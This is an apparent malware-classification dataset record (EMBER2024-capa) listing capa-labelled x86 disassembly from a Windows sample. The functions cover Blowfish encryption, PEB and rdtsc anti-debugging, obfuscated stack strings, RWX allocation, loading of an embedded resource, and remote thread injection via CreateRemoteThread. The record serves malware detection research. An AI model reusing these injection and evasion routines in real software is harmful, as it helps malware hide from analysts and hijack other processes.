joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100010f6
Capabilities:
Encrypt data using blowfish

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 0xc], 0
push ebx
push esi
push edi
xor eax, eax
lea edi, [ebp - 8]
stosd dword es:[edi], eax
mov edi, dword [ebp + 8]
mov eax, 0x1001a078
lea ecx, [edi + 0x48]
mov edx, 0x100
mov esi, dword [eax]
add eax, 4
mov dword [ecx], esi
add ecx, 4
dec edx
jne 0x10001119
cmp eax, 0x1001b078
jl 0x10001114
mov esi, 0x1001a030
xor ecx, ecx
mov eax, edi
sub esi, edi
mov dword [ebp - 4], 0x12
xor edx, edx
mov dword [ebp + 8], 4
mov ebx, dword [ebp + 0xc]
shl edx, 8
movzx ebx, byte [ecx + ebx]
or edx, ebx
inc ecx
cmp ecx, dword [ebp + 0x10]
jl 0x1000115c
xor ecx, ecx
dec dword [ebp + 8]
jne 0x10001148
mov ebx, dword [esi + eax]
xor ebx, edx
mov dword [eax], ebx
add eax, 4
dec dword [ebp - 4]
jne 0x1000113f
push 9
mov esi, edi
pop ebx
lea eax, [ebp - 0xc]
push eax
push edi
call fcn.10001000
mov eax, dword [ebp - 0xc]
pop ecx
mov dword [esi], eax
mov eax, dword [ebp - 8]
mov dword [esi + 4], eax
add esi, 8
dec ebx
pop ecx
jne 0x10001175
lea esi, [edi + 0x4c]
mov dword [ebp + 8], 4
mov ebx, 0x80
lea eax, [ebp - 0xc]
push eax
push edi
call fcn.10001000
mov eax, dword [ebp - 0xc]
pop ecx
mov dword [esi - 4], eax
mov eax, dword [ebp - 8]
mov dword [esi], eax
add esi, 8
dec ebx
pop ecx
jne 0x100011a1
dec dword [ebp + 8]
jne 0x1000119c
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001b1a
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [ebp - 0x128]
push eax
push esi
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10001b6b
mov eax, dword [ebp - 0x120]
cmp eax, dword [ebp + 8]
je 0x10001b64
lea eax, [ebp - 0x128]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
jmp 0x10001b46
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x110]
pop esi
leave
ret

Function at 0x10001ce2
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ecx
and byte [ebp - 1], 0
mov eax, dword fs:[0x30]
mov al, byte [eax + 2]
mov byte [ebp - 1], al
xor eax, eax
cmp byte [ebp - 1], al
setne al
leave
ret

Function at 0x10001d00
Capabilities:
Check for peb ntglobalflag flag

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0x68]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
and al, 0x70
neg al
sbb eax, eax
neg eax
leave
ret

Function at 0x10001d21
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10018518
push 0x10012248
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
sub esp, 0x34
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 0x20], 0
and dword [ebp - 0x44], 0
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x40]
rep stosd dword es:[edi], eax
and dword [ebp - 0x48], 0
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x40
push 0x3000
push dword [ebp - 0x40]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x10001d8c
xor eax, eax
jmp 0x10001e01
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov byte [eax], 0xc3
lea eax, [ebp - 0x48]
push eax
push 0x140
push dword [ebp - 0x40]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10001db5
xor eax, eax
jmp 0x10001e01
and dword [ebp - 4], 0
mov eax, dword [ebp - 0x1c]
push dword [0x10001dee]
jmp eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10002e05
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [esp + 4]
or eax, 0xffffffff
test edx, edx
je 0x10002e35
push esi
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x1001b140]
xor eax, esi
inc ecx
dec edx
jne 0x10002e16
pop edi
pop esi
not eax
ret
Function at 0x100041f9
Capabilities:
Hash data using sha256

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0x6c
push 0
push esi
call fcn.10012320
add esp, 0xc
mov dword [esi], 0x6a09e667
mov dword [esi + 4], 0xbb67ae85
mov dword [esi + 8], 0x3c6ef372
mov dword [esi + 0xc], 0xa54ff53a
mov dword [esi + 0x10], 0x510e527f
mov dword [esi + 0x14], 0x9b05688c
mov dword [esi + 0x18], 0x1f83d9ab
mov dword [esi + 0x1c], 0x5be0cd19
mov eax, esi
pop esi
ret

Function at 0x10007eb0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
cmp dword [ebp + 0x10], 0x40
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
jle 0x10007eee
push esi
call fcn.100041f9
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call fcn.10007d77
lea eax, [ebp - 0x20]
push eax
push esi
call fcn.10007e15
lea eax, [ebp - 0x20]
add esp, 0x18
mov dword [ebp + 0xc], eax
mov dword [ebp + 0x10], 0x20
lea ebx, [esi + 0x6c]
push 0x40
push 0x36
push ebx
call fcn.10012320
lea edi, [esi + 0xac]
push 0x40
push 0x5c
push edi
call fcn.10012320
add esp, 0x18
cmp dword [ebp + 0x10], 0
jle 0x10007f33
mov ecx, dword [ebp + 0xc]
mov eax, edi
mov edi, 0xffffff54
sub edi, esi
mov dl, byte [ecx]
xor byte [eax - 0x40], dl
mov dl, byte [ecx]
xor byte [eax], dl
inc ecx
inc eax
lea edx, [edi + eax]
cmp edx, dword [ebp + 0x10]
jl 0x10007f20
push esi
call fcn.100041f9
push 0x40
push ebx
push esi
call fcn.10007d77
push 0x20
lea eax, [ebp - 0x20]
push 0
push eax
call fcn.10012320
add esp, 0x1c
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10007faa
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
or eax, 0xffffffff
xor esi, esi
cmp dword [ebp + 8], eax
mov dword [ebp - 4], esi
je 0x10008027
push ebx
push edi
push 4
mov ebx, 0x800
push 0x1000
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea eax, [ebp - 4]
push esi
push eax
push ebx
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp word [edi], 0x5a4d
jne 0x10008008
mov eax, dword [edi + 0x3c]
add eax, edi
movzx ecx, word [eax + 6]
lea ecx, [ecx + ecx*4]
mov esi, dword [eax + ecx*8 + 0xe4]
lea eax, [eax + ecx*8 + 0xd0]
add esi, dword [eax + 0x10]
xor ebx, ebx
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push ebx
push ebx
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
pop edi
mov eax, esi
pop ebx
pop esi
leave
ret
Function at 0x1000802a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
or eax, 0xffffffff
xor esi, esi
cmp dword [ebp + 8], eax
mov dword [ebp - 4], esi
je 0x100080a7
push ebx
push edi
push 4
mov ebx, 0x800
push 0x1000
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea eax, [ebp - 4]
push esi
push eax
push ebx
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp word [edi], 0x5a4d
jne 0x10008088
mov eax, dword [edi + 0x3c]
add eax, edi
movzx ecx, word [eax + 6]
lea ecx, [ecx + ecx*4]
mov esi, dword [eax + ecx*8 + 0xf4]
lea eax, [eax + ecx*8 + 0xe0]
add esi, dword [eax + 0x10]
xor ebx, ebx
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push ebx
push ebx
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
pop edi
mov eax, esi
pop ebx
pop esi
leave
ret
Function at 0x10009da9
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
cmp word [ebx], 0x5a4d
jne 0x10009e1c
mov eax, dword [ebx + 0x3c]
add eax, ebx
cmp dword [eax], 0x4550
jne 0x10009e1c
mov esi, dword [eax + 0x78]
mov eax, dword [esi + ebx + 0x20]
add esi, ebx
add eax, ebx
mov ecx, dword [esi + 0x18]
test ecx, ecx
mov dword [ebp - 8], ecx
je 0x10009e1c
mov edi, dword [esi + 0x24]
and dword [ebp + 8], 0
add edi, ebx
test ecx, ecx
jle 0x10009e1c
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push dword [ebp + 0xc]
mov eax, dword [eax]
add eax, ebx
push eax
call fcn.10012c40
pop ecx
test eax, eax
pop ecx
je 0x10009e14
inc dword [ebp + 8]
add dword [ebp - 4], 4
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 8]
jl 0x10009ded
jmp 0x10009e1c
cmp word [ebp + 8], 0xffff
jne 0x10009e21
or eax, 0xffffffff
jmp 0x10009e2c
movzx eax, word [ebp + 8]
movzx eax, word [edi + eax*2]
add eax, dword [esi + 0x10]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10009e31
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
cmp word [edi], 0x5a4d
jne 0x10009efc
mov ecx, dword [edi + 0x3c]
add ecx, edi
cmp dword [ecx], 0x4550
jne 0x10009efc
mov eax, dword [ecx + 0x78]
mov edx, dword [ebp + 0xc]
add eax, edi
mov esi, dword [eax + 0x10]
cmp edx, esi
jb 0x10009efc
sub edx, esi
cmp edx, dword [eax + 0x14]
ja 0x10009efc
mov esi, dword [eax + 0x1c]
lea edx, [esi + edx*4]
mov esi, dword [edx + edi]
add esi, edi
cmp esi, eax
jb 0x10009ef8
mov ecx, dword [ecx + 0x7c]
add ecx, eax
cmp esi, ecx
jae 0x10009ef8
push 0x2e
push esi
call fcn.10013280
mov edi, eax
pop ecx
test edi, edi
pop ecx
je 0x10009efc
push 0x104
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.10012320
mov eax, edi
sub eax, esi
push eax
lea eax, [ebp - 0x104]
push esi
push eax
call fcn.10013170
add esp, 0x18
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
test ebx, ebx
je 0x10009efc
inc edi
push edi
push ebx
call fcn.10009da9
push eax
push ebx
call fcn.10009e31
add esp, 0x10
mov esi, eax
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
jmp 0x10009efe
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000ac5a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push edi
mov edi, dword [ebp + 0xc]
xor ebx, ebx
shr edi, 0x10
cmp di, bx
mov byte [ebp - 0x18], 0x6b
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x6e
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], 0x33
mov byte [ebp - 0x13], 0x38
mov byte [ebp - 0x12], 0x36
mov byte [ebp - 0x11], 0x2e
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x78
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x31
mov byte [ebp - 0xc], 0x36
mov byte [ebp - 0xb], bl
mov byte [ebp - 0x2c], 0x5f
mov byte [ebp - 0x2b], 0x5f
mov byte [ebp - 0x2a], 0x77
mov byte [ebp - 0x29], 0x69
mov byte [ebp - 0x28], 0x6e
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x5f
mov byte [ebp - 0x25], 0x76
mov byte [ebp - 0x24], 0x78
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], 0x5f
mov byte [ebp - 0x21], 0x67
mov byte [ebp - 0x20], 0x65
mov byte [ebp - 0x1f], 0x74
mov byte [ebp - 0x1e], 0x5f
mov byte [ebp - 0x1d], 0x70
mov byte [ebp - 0x1c], 0x72
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x63
mov byte [ebp - 0x19], bl
jne 0x1000ad4f
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, 0x80000000
je 0x1000ad4f
mov eax, dword [0x1001c7e4]
cmp eax, ebx
jne 0x1000ad29
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
mov dword [0x1001c7e4], eax
je 0x1000ad4f
push dword [ebp + 8]
call eax
cmp eax, ebx
pop ecx
je 0x1000ad4f
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call eax
jmp 0x1000adfd
push esi
mov esi, dword [ebp + 0x24]
cmp esi, ebx
je 0x1000ada8
push dword [ebp + 0x1c]
mov eax, dword [esi + 0x10]
mov ecx, eax
mov dword [esi], 0x103
push dword [ebp + 0x18]
and cl, 1
neg cl
push dword [ebp + 0x14]
mov dword [esi + 4], ebx
sbb ecx, ecx
push dword [ebp + 0x10]
not ecx
push dword [ebp + 0xc]
and ecx, esi
cmp di, 9
push esi
push ecx
push ebx
push eax
push dword [ebp + 8]
jne 0x1000ad94
call dword [0x1001c828]
jmp 0x1000ad9a
call dword [0x1001c864]
mov edi, eax
mov eax, dword [ebp + 0x20]
cmp eax, ebx
je 0x1000ade3
mov ecx, dword [esi + 4]
jmp 0x1000ade1
push dword [ebp + 0x1c]
lea eax, [ebp - 8]
cmp di, 9
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push ebx
push ebx
push ebx
push dword [ebp + 8]
jne 0x1000adcf
call dword [0x1001c828]
jmp 0x1000add5
call dword [0x1001c864]
mov edi, eax
mov eax, dword [ebp + 0x20]
cmp eax, ebx
je 0x1000ade3
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
cmp edi, ebx
pop esi
je 0x1000adf6
push edi
call dword [0x1001c82c]
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
cmp edi, ebx
sete al
pop edi
pop ebx
leave
ret 0x20
Function at 0x1000d13e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
push esi
xor esi, esi
push 8
lea eax, [ebp - 0x2c]
push esi
push eax
mov word [ebp - 0x24], 0x5c
mov word [ebp - 0x22], 0x52
mov word [ebp - 0x20], 0x45
mov word [ebp - 0x1e], 0x47
mov word [ebp - 0x1c], 0x49
mov word [ebp - 0x1a], 0x53
mov word [ebp - 0x18], 0x54
mov word [ebp - 0x16], 0x52
mov word [ebp - 0x14], 0x59
mov word [ebp - 0x12], 0x5c
mov word [ebp - 0x10], 0x55
mov word [ebp - 0xe], 0x53
mov word [ebp - 0xc], 0x45
mov word [ebp - 0xa], 0x52
mov word [ebp - 8], si
call fcn.10012320
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [0x1001c7fc]
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x44], 0x18
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 4]
push 0x2000000
push eax
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x38], 0x40
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
call dword [0x1001c7c0]
test eax, eax
jl 0x1000d242
push 0x20a
lea eax, [ebp - 0x250]
push esi
push eax
call fcn.10012320
lea eax, [ebp - 0x250]
push 0x208
push eax
push dword [ebp - 4]
call fcn.1000d0a9
add esp, 0x18
test eax, eax
je 0x1000d239
lea eax, [ebp - 0x250]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.1000b86c
pop ecx
test eax, eax
pop ecx
je 0x1000d239
push 1
pop esi
push dword [ebp - 4]
call dword [0x1001c854]
mov eax, esi
pop esi
leave
ret
Function at 0x10010b5b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
push ebx
push esi
push edi
push str.SECURITYWAY
jne 0x10010b73
push 0x84
jmp 0x10010b75
push 0x76
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov esi, eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
push 4
push 0x1000
push esi
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
mov edi, eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push edi
call fcn.10010da5
pop ecx
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x10010c65
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
and byte [ebp - 4], 0
push ebx
push esi
lea eax, [ebp - 0x10]
push edi
push eax
mov byte [ebp - 0x10], 0x6b
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x64
mov byte [ebp - 6], 0x6c
mov byte [ebp - 5], 0x6c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor esi, esi
push esi
push esi
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov eax, dword [ebp + 8]
mov ebx, 0x1000
push 0x40
mov edi, 0x100
push ebx
push edi
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push dword [0x10021d6c]
mov dword [ebp - 0x28], eax
mov eax, dword [0x10021dec]
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x1c], eax
call esi
push 0x40
push ebx
mov ebx, 0x22c
mov dword [ebp - 0x14], eax
push ebx
push 0
push dword [0x10021d6c]
call esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push edi
mov edi, dword [ebp - 0x14]
push 0x10010c44
push edi
push dword [0x10021d6c]
mov dword [ebp + 8], eax
call esi
test eax, eax
je 0x10010d40
push 0
lea eax, [ebp - 0x244]
push ebx
push eax
push dword [ebp + 8]
push dword [0x10021d6c]
call esi
test eax, eax
jne 0x10010d69
mov esi, 0x8000
push esi
push 4
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push dword [0x10021d6c]
call edi
push esi
push 4
push dword [ebp + 8]
push dword [0x10021d6c]
call edi
xor eax, eax
jmp 0x10010da0
lea eax, [ebp - 0x18]
push eax
xor eax, eax
push eax
push dword [ebp + 8]
push edi
push eax
push eax
push dword [0x10021d6c]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 1
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10010da5
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, dword [ebx + 0x3c]
mov edi, 0x1000
add esi, ebx
push 0x40
push edi
mov eax, dword [esi + 0x50]
push eax
push 0
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
push edi
push dword [ebp - 0xc]
xor edi, edi
mov dword [ebp - 8], eax
push edi
push dword [0x10021d6c]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [esi + 0x28]
mov dword [ebp - 4], eax
add ecx, eax
mov dword [ebp + 8], edi
mov dword [0x10021dec], ecx
cmp word [esi + 6], di
jbe 0x10010e28
lea edi, [esi + 0x10c]
mov eax, dword [edi]
push dword [edi - 4]
add eax, ebx
push eax
mov eax, dword [edi - 8]
add eax, dword [ebp - 8]
push eax
call fcn.10011d60
movzx eax, word [esi + 6]
add esp, 0xc
add edi, 0x28
inc dword [ebp + 8]
cmp dword [ebp + 8], eax
jl 0x10010e02
push dword [esi + 0x54]
mov esi, dword [ebp - 8]
push ebx
push esi
call fcn.10011d60
push dword [ebp - 4]
push esi
call fcn.10009f90
push esi
call fcn.10010bc8
add esp, 0x18
push 0
push dword [ebp - 0xc]
push esi
push dword [ebp - 4]
push dword [0x10021d6c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push dword [ebp - 4]
call fcn.10010c65
pop ecx
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10011264
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c18
call fcn.10012120
push ebx
push esi
mov edx, 0x200
push edi
xor ebx, ebx
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x103f]
mov byte [ebp - 0x1040], bl
mov byte [ebp - 0x24], bl
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x23]
mov ecx, 0x2f5
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x1c17]
mov byte [ebp - 0x1c18], bl
mov byte [ebp - 0x83c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x83b]
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x28], ebx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], ebx
jmp fcn.101cc2d2
Function at 0x1001564a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x1001beb0
cmp edx, dword [eax]
je 0x1001566c
add eax, 8
inc ecx
cmp eax, str.__t__r_
jl 0x1001565d
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x1001beb0]
jne 0x1001579a
mov eax, dword [0x10021a44]
cmp eax, 1
je 0x10015774
test eax, eax
jne 0x1001569d
cmp dword [0x10021a48], 1
je 0x10015774
cmp edx, 0xfc
je 0x1001579a
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x100156d4
lea eax, [ebp - 0x1a4]
push 0x100188f4
push eax
call fcn.10013080
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.100120a0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x10015717
lea eax, [ebp - 0x1a4]
push eax
call fcn.100120a0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x100188f0
push edi
call fcn.10013170
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x100188d4
push eax
call fcn.10013080
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.10013090
lea eax, [ebp - 0xa0]
push 0x100188d0
push eax
call fcn.10013090
push dword [esi + 0x1001beb4]
lea eax, [ebp - 0xa0]
push eax
call fcn.10013090
push 0x12010
lea eax, [ebp - 0xa0]
push 0x100188a8
push eax
call fcn.10016215
add esp, 0x2c
pop edi
jmp 0x1001579a
lea eax, [ebp + 8]
lea esi, [esi + 0x1001beb4]
push 0
push eax
push dword [esi]
call fcn.100120a0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x1017302d
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop esi
add esi, 9
jmp 0x101728eb
jmp 0x10172e45
push eax
push edx
pushal
push edi
pop edi
jmp 0x10172e5a
jmp 0x10172e66
popal
pushal
push eax
push edx
rdtsc
pop edx
pop eax
jmp 0x10172e83
push eax
push edx
rdtsc
pop edx
pop eax
popal
rdtsc
push edx
push eax
push edx
rdtsc
pop edx
pop eax
pop edx
pushal
push ebx
pop ebx
pushal
popal
jmp 0x10172eaa
popal
pop edx
pop eax
push eax
push edx
push ebx
pushal
popal
pop ebx
pushal
jnp 0x10172eba
pushal
popal
pushal
popal
jmp 0x10172ecb
popal
rdtsc
pushal
pushal
popal
je 0x10172ed7
popal
pop edx
pop eax
pushfd
push edx
mov dword [esp], edi
mov dword [esp], ebx
mov dword [esp], 0x3e7d347e
push edi
mov edi, 0x7f8383d4
sub dword [esp + 4], edi
pop edi
sub dword [esp], 0x7ef7bc23
xor dword [esp], 0x4001f4c8
push ebp
mov dword [esp], 0x1efd0af7
shr dword [esp], 2
shr dword [esp], 2
push eax
mov eax, 0x7dff68b0
add dword [esp + 4], 0x7bfd2983
sub dword [esp + 4], eax
push edx
mov edx, 0x7bfd2983
sub dword [esp + 8], edx
pop edx
pop eax
shr dword [esp], 8
xor dword [esp], 0x94d897
push edx
mov dword [esp], 0x7e70232e
shr dword [esp], 7
shr dword [esp], 3
or dword [esp], 0x6ff7471c
add dword [esp], 0x749b8557
dec dword [esp]
add dword [esp], 0x78346a46
mov dword [esp], esi
mov dword [esp], 0x1a5b5cd8
mov dword [esp], eax
sub esp, 4
mov dword [esp], ebp
mov dword [esp], 0x6ebe0691
dec dword [esp]
dec dword [esp]
neg dword [esp]
sub dword [esp], 0x7ffae0e2
push ebp
mov ebp, 0x3ffdbb01
or dword [esp + 4], ebp
pop ebp
xor dword [esp], 0x31a50c4b
mov dword [esp], ebx
push dword [esp + 0x10]
mov eax, dword [esp]
sub esp, 4
mov dword [esp], eax
mov eax, esp
add eax, 4
add eax, 4
xchg dword [esp], eax
mov esp, dword [esp]
push dword [esp + 8]
mov ebx, dword [esp]
push esi
mov esi, esp
add esi, 4
push edi
mov edi, 0x73de6966
shr edi, 5
sub edi, 0x7bf7a283
shl edi, 8
shl edi, 6
shl edi, 6
sub edi, 0xc7ffffc
add esi, 0x6f6f5900
add esi, edi
sub esi, 0x6f6f5900
pop edi
xchg dword [esp], esi
pop esp
mov dword [esp + 8], eax
mov dword [esp + 0x10], ebx
push dword [esp]
mov ebx, dword [esp]
push ecx
mov ecx, esp
push ebx
mov ebx, 4
add ecx, ebx
pop ebx
add ecx, 4
xchg dword [esp], ecx
pop esp
add esp, 4
mov eax, dword [esp]
push ebp
mov ebp, esp
push edx
mov edx, 0x7fd7ab20
and edx, 0x7f5fa9a0
and edx, 0x7df9a857
sub edx, 0x243318d4
xor edx, 0x5dfd00a0
xor edx, 0x4e38f88
add ebp, edx
pop edx
add ebp, 4
push ebp
push dword [esp + 4]
mov ebp, dword [esp]
add esp, 4
pop dword [esp]
pop esp
jmp 0x10170b4d